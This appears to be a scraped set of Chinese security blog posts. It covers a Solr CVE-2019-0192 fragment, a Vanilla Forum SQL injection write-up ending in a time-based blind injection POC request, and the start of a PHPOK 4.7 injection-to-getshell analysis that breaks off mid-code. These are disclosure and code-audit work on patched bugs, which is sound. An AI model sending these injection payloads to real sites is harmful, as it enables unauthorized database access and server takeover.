<span class="md_line md_line_start md_line_end">然后进入JmxMonitoredMap对象的构造函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329170829475.png" alt="image-20190329170829475" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这一段调用JMX,传入可控的serviceUrl,导致反序列化RCE。</span>
</p>
<h2 id="toc_3" class="h16">后记</h2><p class="md_compiled md_paragraph_html"><a href="https://github.com/mpgn/CVE-2019-0192">https://github.com/mpgn/CVE-2019-0192</a></p>
Vanilla SQL Injection Vulnerability
2018-10-02T05:21:44Z
dai-ma-shen-ji/vanilla-sql-injection-vulnerability
Balis0ng's blog
<h2 id="toc_0" class="h16">简介</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">该漏洞是四月份我在h1上挖到的,<a class="md_compiled" href="https://hackerone.com/reports/353784">原文</a>是英文,为了方便分享,我重新写成中文并发表在博客上。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Vanilla是国外的一个论坛程序,是一款开源的PHP程序。github地址为:https://github.com/vanilla/vanilla</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在Vanilla Forum 2.6之前,存在一个SQL注入漏洞,攻击者只需要注册登录一个会员即可利用该漏洞。</span>
</p>
<h2 id="toc_1" class="h16">漏洞分析</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先在applications/dashboard/controllers/class.profilecontroller.php:274</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span> <span class="k">function</span> <span class="nf">deleteInvitation</span><span class="p">(</span><span class="nv">$invitationID</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">permission</span><span class="p">(</span><span class="s1">'Garden.SignIn.Allow'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-></span><span class="na">Form</span><span class="o">-></span><span class="na">authenticatedPostBack</span><span class="p">())</span> <span class="p">{</span>
<span class="k">throw</span> <span class="nx">forbiddenException</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$invitationModel</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">InvitationModel</span><span class="p">();</span>
<span class="nv">$invitationModel</span><span class="o">-></span><span class="na">delete</span><span class="p">(</span><span class="nv">$invitationID</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">informMessage</span><span class="p">(</span><span class="nx">t</span><span class="p">(</span><span class="s1">'The invitation was removed successfully.'</span><span class="p">));</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">jsonTarget</span><span class="p">(</span><span class="s2">".js-invitation[data-id=</span><span class="se">\"</span><span class="si">{</span><span class="nv">$invitationID</span><span class="si">}</span><span class="se">\"</span><span class="s2">]"</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="s1">'SlideUp'</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">render</span><span class="p">(</span><span class="s1">'Blank'</span><span class="p">,</span> <span class="s1">'Utility'</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个函数有个形参$invitationID,这个值其实是我们通过URL传递进来的,是我们可控的,并且这里需要注意的是,该值是可以为一个数组。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先该函数第一行判断了权限,需要登录。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第二行是一个csrf token的判断,利用这个漏洞不能直接发POST包。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后下面就到了关键的地方,可以看到这里将$invitationID带入到了delete函数中,我们跟踪一下该函数。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">applications/dashboard/models/class.invitationmodel.php:225</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">public</span> <span class="k">function</span> <span class="nf">delete</span><span class="p">(</span><span class="nv">$where</span> <span class="o">=</span> <span class="p">[],</span> <span class="nv">$options</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_numeric</span><span class="p">(</span><span class="nv">$where</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">deprecated</span><span class="p">(</span><span class="s1">'InvitationModel->delete(int)'</span><span class="p">,</span> <span class="s1">'InvitationModel->deleteID(int)'</span><span class="p">);</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">deleteID</span><span class="p">(</span><span class="nv">$where</span><span class="p">,</span> <span class="nv">$options</span><span class="p">);</span>
<span class="k">return</span> <span class="nv">$result</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">parent</span><span class="o">::</span><span class="na">delete</span><span class="p">(</span><span class="nv">$where</span><span class="p">,</span> <span class="nv">$options</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里的参数$where就是我们上文的$invitationID,是可控的,然后这里又将$where带入到了另外一个delete函数中,继续追踪。</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span> <span class="k">function</span> <span class="nf">delete</span><span class="p">(</span><span class="nv">$where</span> <span class="o">=</span> <span class="p">[],</span> <span class="nv">$options</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_numeric</span><span class="p">(</span><span class="nv">$where</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">deprecated</span><span class="p">(</span><span class="s1">'Gdn_Model->delete(int)'</span><span class="p">,</span> <span class="s1">'Gdn_Model->deleteID()'</span><span class="p">);</span>
<span class="nv">$where</span> <span class="o">=</span> <span class="p">[</span><span class="nv">$this</span><span class="o">-></span><span class="na">PrimaryKey</span> <span class="o">=></span> <span class="nv">$where</span><span class="p">];</span>
<span class="p">}</span>
<span class="nv">$resetData</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$options</span> <span class="o">===</span> <span class="k">true</span> <span class="o">||</span> <span class="nx">val</span><span class="p">(</span><span class="s1">'reset'</span><span class="p">,</span> <span class="nv">$options</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">deprecated</span><span class="p">(</span><span class="s1">'Gdn_Model->delete() with reset true'</span><span class="p">);</span>
<span class="nv">$resetData</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
<span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nb">is_numeric</span><span class="p">(</span><span class="nv">$options</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">deprecated</span><span class="p">(</span><span class="s1">'The $limit parameter is deprecated in Gdn_Model->delete(). Use the limit option.'</span><span class="p">);</span>
<span class="nv">$limit</span> <span class="o">=</span> <span class="nv">$options</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$options</span> <span class="o">+=</span> <span class="p">[</span><span class="s1">'rest'</span> <span class="o">=></span> <span class="k">true</span><span class="p">,</span> <span class="s1">'limit'</span> <span class="o">=></span> <span class="k">null</span><span class="p">];</span>
<span class="nv">$limit</span> <span class="o">=</span> <span class="nv">$options</span><span class="p">[</span><span class="s1">'limit'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$resetData</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">SQL</span><span class="o">-></span><span class="na">delete</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">Name</span><span class="p">,</span> <span class="nv">$where</span><span class="p">,</span> <span class="nv">$limit</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">SQL</span><span class="o">-></span><span class="na">noReset</span><span class="p">()</span><span class="o">-></span><span class="na">delete</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">Name</span><span class="p">,</span> <span class="nv">$where</span><span class="p">,</span> <span class="nv">$limit</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$result</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end"> 然后该函数中又将$where带入到了$this->SQL->noReset()->delete函数中,继续追踪。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">library/database/class.sqldriver.php:333</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">public</span> <span class="k">function</span> <span class="nf">delete</span><span class="p">(</span><span class="nv">$table</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$where</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$limit</span> <span class="o">=</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$table</span> <span class="o">==</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">_Froms</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$table</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">_Froms</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$table</span><span class="p">))</span> <span class="p">{</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$table</span> <span class="k">as</span> <span class="nv">$t</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">delete</span><span class="p">(</span><span class="nv">$t</span><span class="p">,</span> <span class="nv">$where</span><span class="p">,</span> <span class="nv">$limit</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$table</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">escapeIdentifier</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">Database</span><span class="o">-></span><span class="na">DatabasePrefix</span><span class="o">.</span><span class="nv">$table</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$where</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="nv">$where</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$limit</span> <span class="o">!==</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">limit</span><span class="p">(</span><span class="nv">$limit</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">count</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">_Wheres</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$sql</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">getDelete</span><span class="p">(</span><span class="nv">$table</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">_Wheres</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">_Limit</span><span class="p">);</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">,</span> <span class="s1">'delete'</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">该函数中对我们传递进来的$where有个判断和操作,如果不为空,就带入到where函数中去,跟踪一下该函数。</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span> <span class="k">function</span> <span class="nf">where</span><span class="p">(</span><span class="nv">$field</span><span class="p">,</span> <span class="nv">$value</span> <span class="o">=</span> <span class="k">null</span><span class="p">,</span> <span class="nv">$escapeFieldSql</span> <span class="o">=</span> <span class="k">true</span><span class="p">,</span> <span class="nv">$escapeValueSql</span> <span class="o">=</span> <span class="k">true</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$field</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$field</span> <span class="o">=</span> <span class="p">[</span><span class="nv">$field</span> <span class="o">=></span> <span class="nv">$value</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$field</span> <span class="k">as</span> <span class="nv">$subField</span> <span class="o">=></span> <span class="nv">$subValue</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$subValue</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">count</span><span class="p">(</span><span class="nv">$subValue</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$firstVal</span> <span class="o">=</span> <span class="nb">reset</span><span class="p">(</span><span class="nv">$subValue</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="nv">$subField</span><span class="p">,</span> <span class="nv">$firstVal</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">whereIn</span><span class="p">(</span><span class="nv">$subField</span><span class="p">,</span> <span class="nv">$subValue</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$whereExpr</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">conditionExpr</span><span class="p">(</span><span class="nv">$subField</span><span class="p">,</span> <span class="nv">$subValue</span><span class="p">,</span> <span class="nv">$escapeFieldSql</span><span class="p">,</span> <span class="nv">$escapeValueSql</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$whereExpr</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">_where</span><span class="p">(</span><span class="nv">$whereExpr</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$this</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里其实就是一个组装where语句的函数,由于$where我们可控制,导致这里组装后的where语句的字段处也可以控制,所以就产生了一个SQL注入漏洞。</span>
</p>
<h2 id="toc_2" class="h16">漏洞证明</h2>
<ol>
<li class="md_li"><span>该漏洞利用需要用户登陆,因为是论坛,所以注册登录不是什么难事。
</span></li>
<li class="md_li"><span>开头提了一下,由于有CSRF TOKEN的校验,所以不能直接发POST包,但是我们可以随便点击论坛一个正常的POST请求,然后用Burpsuite来改即可。
</span></li>
<li class="md_li"><span>这里我使用的是延时注入,用的是benchmark函数。不同环境的延时时间也不一样的。
</span></li>
</ol>
<p class="md_block">
<span class="md_line md_line_start md_line_end">附上POC:</span>
</p>
<pre><code>POST /profile/deleteInvitation?invitationID[1%3dbenchmark(40000000,sha(1))+and+1]=balisong HTTP/1.1
Host: localhost
Content-Length: 29
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/profile/
Accept-Language: zh-CN,zh;q=0.9
Cookie: Drupal.toolbar.collapsed=0; hd_sid=udVsUw; XDEBUG_SESSION=PHPSTORM; Vanilla=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MjkyMDE2NTAsImlhdCI6MTUyNjYwOTY1MCwic3ViIjo3fQ.of1gk2CHyzeomQNSMWz_8WXXi_FfCwKxyctVWZlemKI; Vanilla-Vv=1526609650; Vanilla-tk=caEyM0dSVZC0xDhU%3A7%3A1526609650%3Ab23a6efff2dd9f026ffa87db10ba4119
Connection: close
TransientKey=caEyM0dSVZC0xDhU</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">然后这里延时了9秒。如图所示:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image md_line_end"><img class="md_compiled " src="/代码审计/images/vanilla.jpg" alt="" title="" ></span>
</p>
<h2 id="toc_3" class="h16">结语</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实这种漏洞很常见,很多程序在处理SQL语句的时候,都采用的这种写法,当然这种写法是没错的。主要还是因为开发人员太信任外部的输入了。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">该程序在该版本相同类型的漏洞还有一个,大家有兴趣的话可以自己找一找。(当然我已经提交给厂商啦。)</span>
</p>
PHPOK 4.7从注入到getshell
2017-11-24T08:14:55Z
dai-ma-shen-ji/phpok-4.7cong-zhu-ru-dao-getshell
Balis0ng's blog
<p class="md_block">
<span class="md_line md_line_start md_line_end">首发<a class="md_compiled" href="https://xianzhi.aliyun.com/forum/topic/1569/">先知安全技术社区</a>,博客同步一下。</span>
</p>
<h1 id="toc_0" class="h16">简介</h1>
<p class="md_block">
<span class="md_line md_line_start">phpok是一款PHP开发的开源企业网站系统。<br /></span>
<span class="md_line">在phpok 4.7版本及以前,存在一个由注入导致的前台getshell漏洞。<br /></span>
<span class="md_line md_line_end">目前官方最新版已经修补。</span>
</p>
<h1 id="toc_1" class="h16">漏洞分析</h1>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/framework/www/upload_control.php中第61行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">private</span><span class="nx"> function upload_base</span><span class="p">(</span><span class="nv">$input_name</span><span class="o">=</span><span class="s1">'upfile'</span><span class="p">,</span><span class="nv">$cateid</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'upload'</span><span class="p">)</span><span class="o">-></span><span class="na">getfile</span><span class="p">(</span><span class="nv">$input_name</span><span class="p">,</span><span class="nv">$cateid</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"status"</span><span class="p">]</span><span class="nx"> </span><span class="o">!=</span><span class="nx"> </span><span class="s2">"ok"</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$array </span><span class="o">=</span><span class="nx"> array</span><span class="p">();</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"cate_id"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'cate'</span><span class="p">][</span><span class="s1">'id'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"folder"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'folder'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> basename</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]);</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"ext"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'ext'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"addtime"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">time</span><span class="p">;</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"title"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'title'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s1">'session_id'</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">session</span><span class="o">-></span><span class="na">sessid</span><span class="p">();</span>
<span class="nv">$array</span><span class="p">[</span><span class="s1">'user_id'</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">session</span><span class="o">-></span><span class="na">val</span><span class="p">(</span><span class="s1">'user_id'</span><span class="p">);</span>
<span class="nv">$arraylist </span><span class="o">=</span><span class="nx"> array</span><span class="p">(</span><span class="s2">"jpg"</span><span class="p">,</span><span class="s2">"gif"</span><span class="p">,</span><span class="s2">"png"</span><span class="p">,</span><span class="s2">"jpeg"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"ext"</span><span class="p">],</span><span class="nv">$arraylist</span><span class="p">)){</span>
<span class="nv">$img_ext </span><span class="o">=</span><span class="nx"> getimagesize</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]);</span>
<span class="nv">$my_ext </span><span class="o">=</span><span class="nx"> array</span><span class="p">(</span><span class="s2">"width"</span><span class="o">=></span><span class="nv">$img_ext</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="s2">"height"</span><span class="o">=></span><span class="nv">$img_ext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"attr"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> serialize</span><span class="p">(</span><span class="nv">$my_ext</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$id </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">save</span><span class="p">(</span><span class="nv">$array</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$id</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'file'</span><span class="p">)</span><span class="o">-></span><span class="na">rm</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]);</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'图片存储失败'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">gd_update</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">get_one</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="nv">$rs</span><span class="p">[</span><span class="s2">"status"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="s2">"ok"</span><span class="p">;</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这是一个文件上传函数,然后在该函数开头又调用了getfile函数,跟进:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span><span class="nx"> function getfile</span><span class="p">(</span><span class="nv">$input</span><span class="o">=</span><span class="s1">'upfile'</span><span class="p">,</span><span class="nv">$cateid</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$input</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'content'</span><span class="o">=></span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'未指定表单名称'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">_cate</span><span class="p">(</span><span class="nv">$cateid</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="nv">$input</span><span class="p">])){</span>
<span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">_upload</span><span class="p">(</span><span class="nv">$input</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">_save</span><span class="p">(</span><span class="nv">$input</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'status'</span><span class="p">]</span><span class="nx"> </span><span class="o">!=</span><span class="nx"> </span><span class="s1">'ok'</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$rs</span><span class="p">[</span><span class="s1">'cate'</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">cate</span><span class="p">;</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">如果存在上传文件就调用_upload函数,继续跟进:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">private</span><span class="nx"> function _upload</span><span class="p">(</span><span class="nv">$input</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">global</span><span class="nx"> </span><span class="nv">$app</span><span class="p">;</span>
<span class="nv">$basename </span><span class="o">=</span><span class="nx"> substr</span><span class="p">(</span><span class="nb">md5</span><span class="p">(</span><span class="nb">time</span><span class="p">()</span><span class="o">.</span><span class="nb">uniqid</span><span class="p">()),</span><span class="mi">9</span><span class="p">,</span><span class="mi">16</span><span class="p">);</span>
<span class="nv">$chunk </span><span class="o">=</span><span class="nx"> </span><span class="nv">$app</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'chunk'</span><span class="p">,</span><span class="s1">'int'</span><span class="p">);</span>
<span class="nv">$chunks </span><span class="o">=</span><span class="nx"> </span><span class="nv">$app</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'chunks'</span><span class="p">,</span><span class="s1">'int'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$chunks</span><span class="p">){</span>
<span class="nv">$chunks </span><span class="o">=</span><span class="nx"> 1</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$tmpname </span><span class="o">=</span><span class="nx"> </span><span class="nv">$_FILES</span><span class="p">[</span><span class="nv">$input</span><span class="p">][</span><span class="s2">"name"</span><span class="p">];</span>
<span class="nv">$tmpid </span><span class="o">=</span><span class="nx"> </span><span class="s1">'u_'</span><span class="o">.</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$tmpname</span><span class="p">);</span>
<span class="nv">$ext </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">file_ext</span><span class="p">(</span><span class="nv">$tmpname</span><span class="p">);</span>
